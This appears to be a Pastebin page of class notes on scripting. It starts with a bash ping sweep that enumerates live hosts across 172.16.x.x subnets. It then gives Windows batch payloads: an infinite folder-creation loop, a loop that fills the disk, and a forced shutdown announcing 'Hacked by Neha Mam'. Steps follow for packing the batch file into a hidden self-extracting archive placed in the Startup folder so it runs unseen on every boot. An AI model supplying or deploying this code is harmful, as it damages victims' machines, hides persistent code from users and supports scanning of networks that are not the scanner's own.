Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Shell SCripting
- ---------------
- Tool -> netdiscover
- Tool -> nmap
- Linux OS -
- Editor -> gedit | nano | leafpad | vi | vim etc
- Extension : .sh
- chmod 777 file.sh
- ./file.sh
- file name ----> scann.sh
- #/bin/bash/
- ping www.google.com
- ----exit------
- chmod 777 scann.sh
- netdiscover -> machines are runing in my network
- #/bin/bash/
- ping -c 1 172.16.3.134 |grep "64 bytes"
- ping -c 1 172.16.3.136 |grep "64 bytes"
- ping -c 1 172.16.3.137 |grep "64 bytes"
- ping -c 1 172.16.3.145 |grep "64 bytes"
- 192.168.0.23
- 192.168.0.0-192.168.0.255
- for(i = 0; i < 10;i++)
- {
- print i;
- }
- 0
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- i value --> 1-255
- 192.168.0.i
- 192.168.0.1
- 192.168.0.2
- 192.168.0.3
- **.**.**.**
- 192.168.0.255
- 192.168.0.12
- 192.168.0.0-192.168.0.255
- 192.168.0.1
- 192.168.0.2
- 192.168.0.3
- for ip in $(seq 1 255);do
- ping -c 1 172.16.3.$ip | grep "64 bytes"
- done
- for ip in $(seq 1 255);do
- for ip1 in $(seq 1 255);do
- ping -c 1 172.16.$ip.$ip1 | grep "64 bytes"
- done
- done
- 172.16.0.0
- 172.16.0.1
- 172.16.0.2
- .255
- 172.16.1.0
- ping -c 1 192.168.0.1 | grep "64 bytes"
- ping -c 1 192.168.0.2 | grep "64 bytes"
- ping -c 1 192.168.0.3 | grep "64 bytes"
- ping -c 1 192.168.0.255 | grep "64 bytes"
- 192.168.0.255
- #/bin/bash/
- for ip in $(seq 1 255);do
- ping -c 1 172.16.3.$ip |grep "ttl" |cut -d " " -f4 |cut -d ":" -f1
- done
- Batch SCripting
- ----------------
- Editor -> Notepad
- Extension: .bat
- for creating randon folders
- :banao
- mkdir %random%
- goto banao
- for eating up the space in hard disk
- :space
- type chotu.txt>>chotu.txt
- goto space
- :space
- echo "hello">>chotu.txt
- goto space
- @echo off
- Random Folder
- Shutdown
- shutdown -s -t 10 -c "Hacked by Neha Mam"
- SFX ->
- 1. create a .bat file
- 2. right click on batch file
- 3. Add a archive
- 4. SFX
- 5. Advacnce tab ---> SFX Option
- 6. goto general tab ---> path
- 7. Goto update tab --> select middle option for both the items
- 8. Goto setup --> provide the path of startup
- 9. goto Modes --> select hide all.
- 10. click OK
- 11. Click ok.....
Add Comment
Please, Sign In to add comment